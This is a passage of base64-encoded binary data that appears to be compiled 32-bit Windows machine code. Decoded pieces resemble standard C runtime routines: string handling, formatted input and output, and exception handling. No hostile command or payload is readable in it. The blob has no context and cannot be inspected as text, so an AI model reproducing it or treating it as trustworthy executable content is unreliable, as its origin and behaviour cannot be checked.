AyvI/ySFyIFAAP8kjcCCQACQ2IFAAPiBQAAggkAAikYDI9GIRwNOwekCT4P5CHK2/fOl/P8k lcCCQACNSQCKRgMj0YhHA4pGAsHpAohHAoPuAoPvAoP5CHKM/fOl/P8klcCCQACQikYDI9GI RwOKRgKIRwKKRgHB6QKIRwGD7gOD7wOD+QgPglr////986X8/ySVwIJAAI1JAHSCQAB8gkAA hIJAAIyCQACUgkAAnIJAAKSCQAC3gkAAi0SOHIlEjxyLRI4YiUSPGItEjhSJRI8Ui0SOEIlE jxCLRI4MiUSPDItEjgiJRI8Ii0SOBIlEjwSNBI0AAAAAA/AD+P8klcCCQACL/9CCQADYgkAA 6IJAAPyCQACLRQheX8nDkIpGA4hHA4tFCF5fycONSQCKRgOIRwOKRgKIRwKLRQheX8nDkIpG A4hHA4pGAohHAopGAYhHAYtFCF5fycODPRwsQQABfhFoAwEAAP90JAjoJAkAAFlZw4tEJASL DRAqQQBmiwRBJQMBAADDgz0cLEEAAX4OagT/dCQI6PkIAABZWcOLRCQEiw0QKkEAigRBg+AE w4M9HCxBAAF+DmoI/3QkCOjRCAAAWVnDi0QkBIsNECpBAIoEQYPgCMPMzMzMzMzMzMzMzMzM i0wkCFdTVooRi3wkEITSdGmKcQGE9nRPi/eLTCQUigdGONB0FYTAdAuKBkY40HQKhMB19V5b XzPAw4oGRjjwdeuNfv+KYQKE5HQoigaDxgI44HXEikEDhMB0GIpm/4PBAjjgdN/rsTPAXltf isLpQx0AAI1H/15bX8OLx15bX8NVi+xXVlOLTRDjJovZi30Ii/czwPKu99kDy4v+i3UM86aK Rv8zyTpH/3cEdARJSffRi8FbXl/Jw1WL7Gr/aEDSQABoBKxAAGShAAAAAFBkiSUAAAAAg+xY U1ZXiWXo/xW80EAAM9KK1IkVbDlJAIvIgeH/AAAAiQ1oOUkAweEIA8qJDWQ5SQDB6BCjYDlJ ADP2VugWJgAAWYXAdQhqHOiwAAAAWYl1/OhWJAAA/xXE0EAAo2hOSQDoFCMAAKMgOUkA6L0g AADo/x8AAOgcHQAAiXXQjUWkUP8VeNFAAOiQHwAAiUWc9kXQAXQGD7dF1OsDagpYUP91nFZW /xV00UAAUOi87v//iUWgUOgKHQAAi0XsiwiLCYlNmFBR6M4dAABZWcOLZej/dZjo/BwAAIM9 KDlJAAF1BeiAJwAA/3QkBOiwJwAAaP8AAAD/FRApQQBZWcODPSg5SQABdQXoWycAAP90JATo iycAAFlo/wAAAP8VfNFAAMNVi+yD7BhTVlf/dQjoiAEAAIvwWTs1OExJAIl1CA+EagEAADPb O/MPhFYBAAAz0rggKUEAOTB0coPAMEI9ECpBAHzxjUXoUFb/FYDRQACD+AEPhSQBAABqQDPA Wb9gTUkAg33oAYk1OExJAPOrqokdZE5JAA+G7wAAAIB97gAPhLsAAACNTe+KEYTSD4SuAAAA D7ZB/w+20jvCD4eTAAAAgIhhTUkABEDr7mpAM8BZv2BNSQDzq400Uold/MHmBKqNnjApQQCA OwCLy3QsilEBhNJ0JQ+2AQ+2+jvHdxSLVfyKkhgpQQAIkGFNSQBAO8d29UFBgDkAddT/RfyD wwiDffwEcsGLRQjHBUxMSQABAAAAUKM4TEkA6MYAAACNtiQpQQC/QExJAKWlWaNkTkkApetV QUGAef8AD4VI////agFYgIhhTUkACEA9/wAAAHLxVuiMAAAAWaNkTkkAxwVMTEkAAQAAAOsG iR1MTEkAM8C/QExJAKurq+sNOR0sOUkAdA7ojgAAAOiyAAAAM8DrA4PI/19eW8nDi0QkBIMl LDlJAACD+P51EMcFLDlJAAEAAAD/JYjRQACD+P11EMcFLDlJAAEAAAD/JYTRQACD+Px1D6FM OUkAxwUsOUkAAQAAAMOLRCQELaQDAAB0IoPoBHQXg+gNdAxIdAMzwMO4BAQAAMO4EgQAAMO4 BAgAAMO4EQQAAMNXakBZM8C/YE1JAPOrqjPAv0BMSQCjOExJAKNMTEkAo2ROSQCrq6tfw1WL 7IHsFAUAAI1F7FZQ/zU4TEkA/xWA0UAAg/gBD4UWAQAAM8C+AAEAAIiEBez+//9AO8Zy9IpF 8saF7P7//yCEwHQ3U1eNVfMPtgoPtsA7wXcdK8iNvAXs/v//QbggICAgi9nB6QLzq4vLg+ED 86pCQopC/4TAddBfW2oAjYXs+v///zVkTkkA/zU4TEkAUI2F7P7//1ZQagHo8yUAAGoAjYXs /f///zU4TEkAVlCNhez+//9WUFb/NWROSQDoaAEAAGoAjYXs/P///zU4TEkAVlCNhez+//9W UGgAAgAA/zVkTkkA6EABAACDxFwzwI2N7Pr//2aLEfbCAXQWgIhhTUkAEIqUBez9//+IkGBM SQDrHPbCAnQQgIhhTUkAIIqUBez8///r44CgYExJAABAQUE7xnK/60kzwL4AAQAAg/hBchmD +Fp3FICIYU1JABCKyIDBIIiIYExJAOsfg/hhchOD+Hp3DoCIYU1JACCKyIDpIOvggKBgTEkA AEA7xnK+XsnDgz0oTEkAAHUSav3oLPz//1nHBShMSQABAAAAw1WL7IM9TExJAABXi30IiX0I dRH/dRD/dQxX6ComAACDxAzrY4tVEFaF0nQ9i00MigFKD7bw9oZhTUkABIgHdBNHQYXSdBmK AUqIB0dBhMB0FOsGR0GEwHQQhdJ10usKgGf/AOsEgGf+AIvCSoXAXnQTjUoBM8CL0cHpAvOr i8qD4QPzqotFCF9dw1WL7Gr/aFjSQABoBKxAAGShAAAAAFBkiSUAAAAAg+wcU1ZXiWXoM/85 PTA5SQB1RldXagFbU2hQ0kAAvgABAABWV/8VPNFAAIXAdAiJHTA5SQDrIldXU2hM0kAAVlf/ FUDRQACFwA+EIgEAAMcFMDlJAAIAAAA5fRR+EP91FP91EOieAQAAWVmJRRShMDlJAIP4AnUd /3Uc/3UY/3UU/3UQ/3UM/3UI/xVA0UAA6d4AAACD+AEPhdMAAAA5fSB1CKFMOUkAiUUgV1f/ dRT/dRCLRST32BvAg+AIQFD/dSD/FXjQQACL2Ild5DvfD4ScAAAAiX38jQQbg8ADJPzoXfT/ /4ll6IvEiUXcg038/+sTagFYw4tl6DP/iX3cg038/4td5Dl93HRmU/913P91FP91EGoB/3Ug /xV40EAAhcB0TVdXU/913P91DP91CP8VPNFAAIvwiXXYO/d0MvZFDQR0QDl9HA+EsgAAADt1 HH8e/3Uc/3UYU/913P91DP91CP8VPNFAAIXAD4WPAAAAM8CNZciLTfBkiQ0AAAAAX15bycPH RfwBAAAAjQQ2g8ADJPzoqfP//4ll6IvciV3gg038/+sSagFYw4tl6DP/M9uDTfz/i3XYO990 tFZT/3Xk/3Xc/3UM/3UI/xU80UAAhcB0nDl9HFdXdQRXV+sG/3Uc/3UYVlNoIAIAAP91IP8V oNBAAIvwO/cPhHH///+Lxuls////i1QkCItEJASF0laNSv90DYA4AHQIQIvxSYX2dfOAOABe dQUrRCQEw4vCw1WL7FGLRQiNSAGB+QABAAB3DIsNECpBAA+3BEHrUovIVos1ECpBAMH5CA+2 0fZEVgGAXnQOgGX+AIhN/IhF/WoC6wmAZf0AiEX8agFYjU0KagFqAGoAUVCNRfxQagHotSEA AIPEHIXAdQLJww+3RQojRQzJw1WL7FNWi3UMi0YMi14QqIIPhPMAAACoQA+F6wAAAKgBdBaD ZgQAqBAPhNsAAACLTggk/okOiUYMi0YMg2YEAINlDAAk7wwCZqkMAYlGDHUigf6gLUEAdAiB /sAtQQB1C1PoHiYAAIXAWXUHVujPJQAAWWb3RgwIAVd0ZItGCIs+K/iNSAGJDotOGEmF/4lO BH4QV1BT6PkjAACDxAyJRQzrM4P7/3QWi8OLy8H4BYPhH4sEhSBLSQCNBMjrBbjILEEA9kAE IHQNagJqAFPoJyMAAIPEDItGCIpNCIgI6xRqAY1FCF9XUFPopiMAAIPEDIlFDDl9DF90BoNO DCDrD4tFCCX/AAAA6wgMIIlGDIPI/15bXcNVi+yB7EgCAABTVleLfQwz9oofR4TbiXX0iXXs iX0MD4T0BgAAi03wM9LrCItN8It10DPSOVXsD4zcBgAAgPsgfBOA+3h/Dg++w4qAUNJAAIPg D+sCM8APvoTGcNJAAMH4BIP4B4lF0A+HmgYAAP8khfuUQACDTfD/iVXMiVXYiVXgiVXkiVX8 iVXc6XgGAAAPvsOD6CB0O4PoA3Qtg+gIdB9ISHQSg+gDD4VZBgAAg038COlQBgAAg038BOlH BgAAg038Aek+BgAAgE38gOk1BgAAg038AuksBgAAgPsqdSONRRBQ6PUGAACFwFmJReAPjRIG AACDTfwE99iJReDpBAYAAItF4A++y40EgI1EQdDr6YlV8OntBQAAgPsqdR6NRRBQ6LYGAACF wFmJRfAPjdMFAACDTfD/6coFAACNBIkPvsuNREHQiUXw6bgFAACA+0l0LoD7aHQggPtsdBKA +3cPhaAFAACATf0I6ZcFAACDTfwQ6Y4FAACDTfwg6YUFAACAPzZ1FIB/ATR1DkdHgE39gIl9 DOlsBQAAiVXQiw0QKkEAiVXcD7bD9kRBAYB0GY1F7FD/dQgPvsNQ6H8FAACKH4PEDEeJfQyN RexQ/3UID77DUOhmBQAAg8QM6SUFAAAPvsOD+GcPjxwCAACD+GUPjZYAAACD+FgPj+sAAAAP hHgCAACD6EMPhJ8AAABISHRwSEh0bIPoDA+F6QMAAGb3RfwwCHUEgE39CIt18IP+/3UFvv// /3+NRRBQ6JwFAABm90X8EAhZi8iJTfgPhP4BAACFyXUJiw0sLEEAiU34x0XcAQAAAIvBi9ZO hdIPhNQBAABmgzgAD4TKAQAAQEDr58dFzAEAAACAwyCDTfxAjb24/f//O8qJffgPjc8AAADH RfAGAAAA6dEAAABm90X8MAh1BIBN/Qhm90X8EAiNRRBQdDvoMAUAAFCNhbj9//9Q6HUjAACD xAyJRfSFwH0yx0XYAQAAAOspg+hadDKD6Al0xUgPhOgBAADpCAMAAOjYBAAAWYiFuP3//8dF 9AEAAACNhbj9//+JRfjp5wIAAI1FEFDoswQAAIXAWXQzi0gEhcl0LPZF/Qh0Fw+/ANHoiU34 iUX0x0XcAQAAAOm1AgAAg2XcAIlN+A+/AOmjAgAAoSgsQQCJRfhQ6Y4AAAB1DID7Z3UHx0Xw AQAAAItFEP91zIPACIlFEP918ItI+IlNuItA/IlFvA++w1CNhbj9//9QjUW4UP8VADBBAIt1 /IPEFIHmgAAAAHQUg33wAHUOjYW4/f//UP8VDDBBAFmA+2d1EoX2dQ6Nhbj9//9Q/xUEMEEA WYC9uP3//y11DYBN/QGNvbn9//+JffhX6GHm//9Z6fwBAACD6GkPhNEAAACD6AUPhJ4AAABI D4SEAAAASHRRg+gDD4T9/f//SEgPhLEAAACD6AMPhckBAADHRdQnAAAA6zwrwdH46bQBAACF yXUJiw0oLEEAiU34i8GL1k6F0nQIgDgAdANA6/ErwemPAQAAx0XwCAAAAMdF1AcAAAD2RfyA x0X0EAAAAHRdikXUxkXqMARRx0XkAgAAAIhF6+tI9kX8gMdF9AgAAAB0O4BN/QLrNY1FEFDo GwMAAPZF/CBZdAlmi03sZokI6wWLTeyJCMdF2AEAAADpIwIAAINN/EDHRfQKAAAA9kX9gHQM jUUQUOjtAgAAWetB9kX8IHQh9kX8QI1FEFB0DOjIAgAAWQ+/wJnrJei8AgAAWQ+3wOvy9kX8 QI1FEFB0COinAgAAWevg6J8CAABZM9L2RfxAdBuF0n8XfASFwHMR99iD0gCL8PfagE39AYv6 6wSL8Iv69kX9gHUDg+cAg33wAH0Jx0XwAQAAAOsEg2X894vGC8d1BINl5ACNRbeJRfiLRfD/ TfCFwH8Gi8YLx3Q7i0X0mVJQV1aJRcCJVcTobyEAAP91xIvYg8Mw/3XAV1bo7SAAAIP7OYvw i/p+AwNd1ItF+P9N+IgY67WNRbcrRfj/Rfj2Rf0CiUX0dBmLTfiAOTB1BIXAdQ3/TfhAi034 xgEwiUX0g33YAA+F9AAAAItd/PbDQHQm9scBdAbGReot6xT2wwF0BsZF6ivrCfbDAnQLxkXq IMdF5AEAAACLdeArdeQrdfT2wwx1Eo1F7FD/dQhWaiDoFwEAAIPEEI1F7FCNRer/dQj/deRQ 6DIBAACDxBD2wwh0F/bDBHUSjUXsUP91CFZqMOjlAAAAg8QQg33cAHRBg330AH47i0X0i134 jXj/ZosDQ1CNRchQQ+iWHwAAWYXAWX4yjU3sUf91CFCNRchQ6NgAAACDxBCLx0+FwHXQ6xWN RexQ/3UI/3X0/3X46LoAAACDxBD2RfwEdBKNRexQ/3UIVmog6HEAAACDxBCLfQyKH0eE24l9 DA+FE/n//4tF7F9eW8nDeY9AAE+OQABqjkAAto5AAO2OQAD1jkAAKo9AAL2PQABVi+yLTQz/ SQR4DosRikUIiAL/AQ+2wOsLUf91COiI9///WVmD+P+LRRB1BYMI/13D/wBdw1ZXi3wkEIvH T4XAfiGLdCQYVv90JBj/dCQU6Kz///+DxAyDPv90B4vHT4XAf+NfXsNTi1wkDIvDS1ZXhcB+ Jot8JByLdCQQD74GV0b/dCQcUOh1////g8QMgz//dAeLw0uFwH/iX15bw4tEJASDAASLAItA /MOLRCQEgwAIiwiLQfiLUfzDi0QkBIMABIsAZotA/MNWi3QkCIX2dCRW6MAfAABZhcBWdApQ 6N8fAABZWV7DagD/NQRLSQD/FZDRQABew/81uDpJAP90JAjoAwAAAFlZw4N8JATgdyL/dCQE 6BwAAACFwFl1FjlEJAh0EP90JATodScAAIXAWXXeM8DDVot0JAg7NSAwQQB3C1bopSIAAIXA WXUchfZ1A2oBXoPGD4Pm8FZqAP81BEtJAP8VlNFAAF7DVYvsgezEAQAAgGXrAFNWi3UMM9tX igaJXfyEwIldzA+E4QkAAIt9COsFi30IM9uDPRwsQQABfg8PtsBqCFDohvX//1lZ6w+LDRAq QQAPtsCKBEGD4Ag7w3Q2/038V41F/FdQ6CUKAABZWVDoBgoAAA+2RgFGUOhp7P//g8QMhcB0 Dg+2RgFGUOhX7P//WevugD4lD4XZCAAAgGXLAIBl6ACAZekAgGXyAIBl8QCAZeoAM/+AZfsA iV3kiV3giV30xkXzAYld0A+2XgFGgz0cLEEAAX4PD7bDagRQ6On0//9ZWesPiw0QKkEAD7bD igRBg+AEhcB0EotF9P9F4I0EgI1EQ9CJRfTrZYP7Tn8+dF6D+yp0MoP7RnRUg/tJdAqD+0x1 N/5F8+tFgH4BNnUsgH4CNI1GAnUj/0XQg2XYAINl3ACL8Osn/kXy6yKD+2h0F4P7bHQKg/t3 dAj+RfHrDv5F8/5F++sG/k3z/k37gH3xAA+ET////4B98gCJdQx1EotFEIlFvIPABIlFEItA /IlF1IBl8QCAffsAdRSKBjxTdAo8Q3QGgE37/+sExkX7AYtdDA+2M4POIIP+bol1xHQog/5j dBSD/nt0D/91CI1F/FDotQgAAFnrC/91CP9F/Oh2CAAAWYlF7DPAOUXgdAk5RfQPhNwHAACD /m8Pj14CAAAPhAoFAACD/mMPhCwCAACD/mQPhPgEAAAPjmoCAACD/md+OIP+aXQbg/5uD4VX AgAAgH3yAIt9/A+EAAcAAOkhBwAAamRei13sg/stD4V+AgAAxkXpAel6AgAAi13sjbU8/v// g/stdQ6InTz+//+NtT3+///rBYP7K3UXi30I/030/0X8V+jOBwAAi9hZiV3s6wOLfQiDfeAA dAmBffRdAQAAfgfHRfRdAQAAgz0cLEEAAX4MagRT6Anz//9ZWesLoRAqQQCKBFiD4ASFwHQh i0X0/030hcB0F/9F5IgeRv9F/FfocAcAAIvYWYld7Ou7OB0gLEEAdWaLRfT/TfSFwHRc/0X8 V+hNBwAAi9igICxBAIgGWYld7EaDPRwsQQABfgxqBFPom/L//1lZ6wuhECpBAIoEWIPgBIXA dCGLRfT/TfSFwHQX/0XkiB5G/0X8V+gCBwAAi9hZiV3s67uDfeQAD4SOAAAAg/tldAmD+0UP hYAAAACLRfT/TfSFwHR2xgZlRv9F/FfoywYAAIvYWYP7LYld7HUFiAZG6wWD+yt1HotF9P9N 9IXAdQUhRfTrD/9F/FfongYAAIvYWYld7IM9HCxBAAF+DGoEU+j08f//WVnrC6EQKkEAigRY g+AEhcB0EotF9P9N9IXAdAj/ReSIHkbru/9N/FdT6HIGAACDfeQAWVkPhPYFAACAffIAD4VN BQAA/0XMgCYAjYU8/v//UA++RfP/ddRIUP8VCDBBAIPEDOkpBQAAOUXgdQr/RfTHReABAAAA gH37AH4ExkXqAb84LEEA6QsBAACLxoPocA+EowIAAIPoAw+E6AAAAEhID4SWAgAAg+gDD4TD /f//g+gDdCQPtgM7RewPhT8FAAD+TeuAffIAD4XDBAAAi0W8iUUQ6bgEAACAffsAfgTGReoB i30MR4l9DIA/Xg+FpwAAAIvHjXgB6ZkAAACD+yt1Iv9N9HUMg33gAHQGxkXxAesR/3UI/0X8 6GgFAACL2FmJXeyD+zAPhUUCAAD/dQj/RfzoTgUAAIvYWYD7eIld7HQvgPtYdCqD/njHReQB AAAAdAhqb17pFgIAAP91CP9N/FPoOAUAAFlZajBb6f0BAAD/dQj/RfzoCQUAAFmL2Ild7Gp4 68+AffsAfgTGReoBvzAsQQCATej/aiCNRZxqAFDo7Nr//4PEDIN9xHt1DoA/XXUJsl1HxkWn IOsDilXLigc8XXRfRzwtdUGE0nQ9ig+A+V10Nkc60XMEisHrBIrCitE60HchD7bSD7bwK/JG i8qLwoPhB7MBwegD0uONRAWcCBhCTnXoMtLrtA+2yIrQi8GD4QezAcHoA9LjjUQFnAgY65uA PwAPhAEEAACDfcR7dQOJfQyLfQiLddT/TfxX/3XsiXXQ6FMEAABZWYN94AB0DotF9P9N9IXA D4ScAAAA/0X8V+gaBAAAg/j/WYlF7HR+i8hqAYPhB1oPvl3o0+KLyMH5Aw++TA2cM8uF0XRg gH3yAHVSgH3qAHRBiw0QKkEAiEXID7bA9kRBAYB0Df9F/FfoywMAAFmIRcn/NRwsQQCNRchQ jUXCUOiqIAAAZotFwoPEDGaJBkZG6wOIBkaJddTpZP////9F0Olc/////038V1DoowMAAFlZ OXXQD4QoAwAAgH3yAA+FfwIAAP9FzIN9xGMPhHICAACAfeoAi0XUdAlmgyAA6WACAACAIADp WAIAAMZF8wGLXeyD+y11BsZF6QHrBYP7K3Ui/030dQyDfeAAdAbGRfEB6xH/dQj/RfzoGgMA AFmL2Ild7IN90AAPhA8BAACAffEAD4XjAAAAg/54dU+DPRwsQQABfg9ogAAAAFPoVO7//1lZ 6w2hECpBAIoEWCWAAAAAhcAPhKMAAACLRdiLVdxqBFnozSAAAFOJRdiJVdzofQIAAIvYWYld 7OtTgz0cLEEAAX4MagRT6Aju//9ZWesLoRAqQQCKBFiD4ASFwHRdg/5vdRWD+zh9U4tF2ItV 3GoDWeh9IAAA6w9qAGoK/3Xc/3XY6CwgAACJRdiJVdz/ReSNQ9CZAUXYEVXcg33gAHQF/030 dCT/dQj/RfzoNgIAAIvYWYld7Okr/////3UI/038U+g5AgAAWVmAfekAD4TcAAAAi0XYi03c 99iD0QCJRdj32YlN3OnEAAAAgH3xAA+FsgAAAIP+eHQ/g/5wdDqDPRwsQQABfgxqBFPoQ+3/ /1lZ6wuhECpBAIoEWIPgBIXAdHaD/m91CoP7OH1swecD6z+NPL/R5+s4gz0cLEEAAX4PaIAA AABT6Abt//9ZWesNoRAqQQCKBFglgAAAAIXAdDdTwecE6EQBAACL2FmJXez/ReSDfeAAjXwf 0HQF/030dCT/dQj/RfzoWAEAAIvYWYld7Olc/////3UI/038U+hbAQAAWVmAfekAdAL334P+ RnUEg2XkAIN95AAPhM4AAACAffIAdSn/RcyDfdAAdBCLRdSLTdiJCItN3IlIBOsQgH3zAItF 1HQEiTjrA2aJOP5F6/9FDIt1DOtC/0X8V+jhAAAAi9hZD7YGRjvDiV3siXUMdVWLDRAqQQAP tsP2REEBgHQY/0X8V+i3AAAAWQ+2DkY7yIl1DHU+/038g33s/3UQgD4ldU2LRQyAeAFudUSL 8IoGhMAPhVb2///rMP91CP9N/P917OsF/038V1PoiwAAAFlZ6xf/TfxXUOh9AAAA/038V1Po cwAAAIPEEIN97P91EYtFzIXAdQ04Ret1CIPI/+sDi0XMX15bycODPRwsQQABVn4Qi3QkCGoE VuiO6///WVnrD4t0JAihECpBAIoEcIPgBIXAdQaD5t+D7geLxl7Di1QkBP9KBHgJiwoPtgFB iQrDUugUHgAAWcODfCQE/3QP/3QkCP90JAjo1x4AAFlZw1aLdCQIV/90JBD/Bui+////i/hX 6D7i//9ZhcBZdeeLx19ew8zMzMzMzMzMjUL/W8ONpCQAAAAAjWQkADPAikQkCFOL2MHgCItU JAj3wgMAAAB0E4oKQjjZdNGEyXRR98IDAAAAde0L2FeLw8HjEFYL2IsKv//+/n6LwYv3M8sD 8AP5g/H/g/D/M88zxoPCBIHhAAEBgXUcJQABAYF00yUAAQEBdQiB5gAAAIB1xF5fWzPAw4tC /DjYdDaEwHTvONx0J4TkdOfB6BA42HQVhMB03DjcdAaE5HTU65ZeX41C/1vDjUL+Xl9bw41C /V5fW8ONQvxeX1vDoTRMSQCFwHQC/9BoFPBAAGgI8EAA6M4AAABoBPBAAGgA8EAA6L8AAACD xBDDagBqAP90JAzoFQAAAIPEDMNqAGoB/3QkDOgEAAAAg8QMw1dqAV85PZw5SQB1Ef90JAj/ FazQQABQ/xUo0UAAg3wkDABTi1wkFIk9mDlJAIgdlDlJAHU8oTBMSQCFwHQiiw0sTEkAVo1x /DvwchOLBoXAdAL/0IPuBDs1MExJAHPtXmgg8EAAaBjwQADoKgAAAFlZaCjwQABoJPBAAOgZ AAAAWVmF21t1EP90JAiJPZw5SQD/FXzRQABfw1aLdCQIO3QkDHMNiwaFwHQC/9CDxgTr7V7D VYvsU/91COg1AQAAhcBZD4QgAQAAi1gIhdsPhBUBAACD+wV1DINgCABqAVjpDQEAAIP7AQ+E 9gAAAIsNoDlJAIlNCItNDIkNoDlJAItIBIP5CA+FyAAAAIsNuCxBAIsVvCxBAAPRVjvKfRWN NEkr0Y00tUgsQQCDJgCDxgxKdfeLAIs1xCxBAD2OAADAdQzHBcQsQQCDAAAA63A9kAAAwHUM xwXELEEAgQAAAOtdPZEAAMB1DMcFxCxBAIQAAADrSj2TAADAdQzHBcQsQQCFAAAA6zc9jQAA wHUMxwXELEEAggAAAOskPY8AAMB1DMcFxCxBAIYAAADrET2SAADAdQrHBcQsQQCKAAAA/zXE LEEAagj/01mJNcQsQQBZXusIg2AIAFH/01mLRQijoDlJAIPI/+sJ/3UM/xWY0UAAW13Di1Qk BIsNwCxBADkVQCxBAFa4QCxBAHQVjTRJjTS1QCxBAIPADDvGcwQ5EHX1jQxJXo0MjUAsQQA7 wXMEORB0AjPAw4M9KExJAAB1Bei75P//Vos1aE5JAIoGPCJ1JYpGAUY8InQVhMB0EQ+2wFDo lBsAAIXAWXTmRuvjgD4idQ1G6wo8IHYGRoA+IHf6igaEwHQEPCB26YvGXsNTM9s5HShMSQBW V3UF6F/k//+LNSA5SQAz/4oGOsN0Ejw9dAFHVugr0///WY10BgHr6I0EvQQAAABQ6Orw//+L 8Fk784k1fDlJAHUIagnoEeD//1mLPSA5SQA4H3Q5VVfo8dL//4voWUWAPz10IlXotfD//zvD WYkGdQhqCeji3///WVf/Nujb0f//WYPGBFkD/Tgfdcld/zUgOUkA6Fjw//9ZiR0gOUkAiR5f XscFJExJAAEAAABbw1WL7FFRUzPbOR0oTEkAVld1Beih4///vqQ5SQBoBAEAAFZT/xUU0UAA oWhOSQCJNYw5SQCL/jgYdAKL+I1F+FCNRfxQU1NX6E0AAACLRfiLTfyNBIhQ6BXw//+L8IPE GDvzdQhqCOhA3///WY1F+FCNRfxQi0X8jQSGUFZX6BcAAACLRfyDxBRIiTV0OUkAX16jcDlJ AFvJw1WL7ItNGItFFFNWgyEAi3UQV4t9DMcAAQAAAItFCIX/dAiJN4PHBIl9DIA4InVEilAB QID6InQphNJ0JQ+20vaCYU1JAAR0DP8BhfZ0BooQiBZGQP8BhfZ01YoQiBZG687/AYX2dASA JgBGgDgidUZA60P/AYX2dAWKEIgWRooQQA+22vaDYU1JAAR0DP8BhfZ0BYoYiB5GQID6IHQJ hNJ0CYD6CXXMhNJ1A0jrCIX2dASAZv8Ag2UYAIA4AA+E4AAAAIoQgPogdAWA+gl1A0Dr8YA4 AA+EyAAAAIX/dAiJN4PHBIl9DItVFP8Cx0UIAQAAADPbgDhcdQRAQ+v3gDgidSz2wwF1JTP/ OX0YdA2AeAEijVABdQSLwusDiX0Ii30MM9I5VRgPlMKJVRjR64vTS4XSdA5DhfZ0BMYGXEb/ AUt184oQhNJ0SoN9GAB1CoD6IHQ/gPoJdDqDfQgAdC6F9nQZD7ba9oNhTUkABHQGiBZGQP8B ihCIFkbrDw+20vaCYU1JAAR0A0D/Af8BQOlY////hfZ0BIAmAEb/AekX////hf90A4MnAItF FF9eW/8AXcNRUaGoOkkAU1WLLajRQABWVzPbM/Yz/zvDdTP/1YvwO/N0DMcFqDpJAAEAAADr KP8VpNFAAIv4O/sPhOoAAADHBag6SQACAAAA6Y8AAACD+AEPhYEAAAA783UM/9WL8DvzD4TC AAAAZjkei8Z0DkBAZjkYdflAQGY5GHXyK8aLPaDQQADR+FNTQFNTUFZTU4lEJDT/14voO+t0 MlXogu3//zvDWYlEJBB0I1NTVVD/dCQkVlNT/9eFwHUO/3QkEOgw7f//WYlcJBCLXCQQVv8V oNFAAIvD61OD+AJ1TDv7dQz/FaTRQACL+Dv7dDw4H4vHdApAOBh1+0A4GHX2K8dAi+hV6Bvt //+L8Fk783UEM/brC1VXVuj10v//g8QMV/8VnNFAAIvG6wIzwF9eXVtZWcOD7ERTVVZXaAAB AADo4Oz//4vwWYX2dQhqG+gN3P//WYk1IEtJAMcFIExJACAAAACNhgABAAA78HMagGYEAIMO /8ZGBQqhIEtJAIPGCAUAAQAA6+KNRCQQUP8VeNFAAGaDfCRCAA+ExQAAAItEJESFwA+EuQAA AIswjWgEuAAIAAA78I0cLnwCi/A5NSBMSQB9Ur8kS0kAaAABAADoUOz//4XAWXQ4gwUgTEkA IIkHjYgAAQAAO8FzGIBgBACDCP/GQAUKiw+DwAiBwQABAADr5IPHBDk1IExJAHy76waLNSBM SQAz/4X2fkaLA4P4/3Q2ik0A9sEBdC72wQh1C1D/FWzRQACFwHQei8eLz8H4BYPhH4sEhSBL SQCNBMiLC4kIik0AiEgER0WDwwQ7/ny6M9uhIEtJAIM82P+NNNh1TYXbxkYEgXUFavZY6wqL w0j32BvAg8D1UP8VcNFAAIv4g///dBdX/xVs0UAAhcB0DCX/AAAAiT6D+AJ1BoBOBEDrD4P4 A3UKgE4ECOsEgE4EgEOD+wN8m/81IExJAP8VjNFAAF9eXVuDxETDM8BqADlEJAhoABAAAA+U wFD/FWTRQACFwKMES0kAdBXogwoAAIXAdQ//NQRLSQD/FWjRQAAzwMNqAVjDzMzMVYvsU1ZX VWoAagBoJKtAAP91COieHAAAXV9eW4vlXcOLTCQE90EEBgAAALgBAAAAdA+LRCQIi1QkEIkC uAMAAADDU1ZXi0QkEFBq/mgsq0AAZP81AAAAAGSJJQAAAACLRCQgi1gIi3AMg/7/dC47dCQk dCiNNHaLDLOJTCQIiUgMg3yzBAB1EmgBAQAAi0SzCOhAAAAA/1SzCOvDZI8FAAAAAIPEDF9e W8MzwGSLDQAAAACBeQQsq0AAdRCLUQyLUgw5UQh1BbgBAAAAw1NRu9QsQQDrClNRu9QsQQCL TQiJSwiJQwSJawxZW8IEAMzMVkMyMFhDMDBVi+yD7AhTVldV/ItdDItFCPdABAYAAAAPhYIA AACJRfiLRRCJRfyNRfiJQ/yLcwyLewiD/v90YY0MdoN8jwQAdEVWVY1rEP9UjwRdXotdDAvA dDN4PIt7CFPoqf7//4PEBI1rEFZT6N7+//+DxAiNDHZqAYtEjwjoYf///4sEj4lDDP9UjwiL ewiNDHaLNI/robgAAAAA6xy4AQAAAOsVVY1rEGr/U+ie/v//g8QIXbgBAAAAXV9eW4vlXcNV i0wkCIspi0EcUItBGFDoef7//4PECF3CBAChKDlJAIP4AXQNhcB1KoM9FClBAAF1IWj8AAAA 6BgAAAChrDpJAFmFwHQC/9Bo/wAAAOgCAAAAWcNVi+yB7KQBAACLVQgzybjoLEEAOxB0C4PA CEE9eC1BAHzxVovxweYDO5boLEEAD4UcAQAAoSg5SQCD+AEPhOgAAACFwHUNgz0UKUEAAQ+E 1wAAAIH6/AAAAA+E8QAAAI2FXP7//2gEAQAAUGoA/xUU0UAAhcB1E42FXP7//2i81UAAUOiz yf//WVmNhVz+//9XUI29XP7//+iOyv//QFmD+Dx2KY2FXP7//1Doe8r//4v4jYVc/v//g+g7 agMD+Gi41UAAV+jhAQAAg8QQjYVg////aJzVQABQ6F3J//+NhWD///9XUOhgyf//jYVg//// aJjVQABQ6E/J////tuwsQQCNhWD///9Q6D3J//9oECABAI2FYP///2hw1UAAUOhfEgAAg8Qs X+smjUUIjbbsLEEAagBQ/zbo7sn//1lQ/zZq9P8VcNFAAFD/FWzQQABeycNVi+xq/2jY1UAA aASsQABkoQAAAABQZIklAAAAAIPsGFNWV4ll6KGwOkkAM9s7w3U+jUXkUGoBXlZoUNJAAFb/ FVTRQACFwHQEi8brHY1F5FBWaEzSQABWU/8VWNFAAIXAD4TOAAAAagJYo7A6SQCD+AJ1JItF HDvDdQWhPDlJAP91FP91EP91DP91CFD/FVjRQADpnwAAAIP4AQ+FlAAAADldGHUIoUw5SQCJ RRhTU/91EP91DItFIPfYG8CD4AhAUP91GP8VeNBAAIlF4DvDdGOJXfyNPACLx4PAAyT86BTQ //+JZeiL9Il13FdTVuiUx///g8QM6wtqAVjDi2XoM9sz9oNN/P8783Qp/3XgVv91EP91DGoB /3UY/xV40EAAO8N0EP91FFBW/3UI/xVU0UAA6wIzwI1lzItN8GSJDQAAAABfXlvJw8zMzMzM zMzMzMzMzMzMzItMJAxXhcl0elZTi9mLdCQU98YDAAAAi3wkEHUHwekCdW/rIYoGRogHR0l0 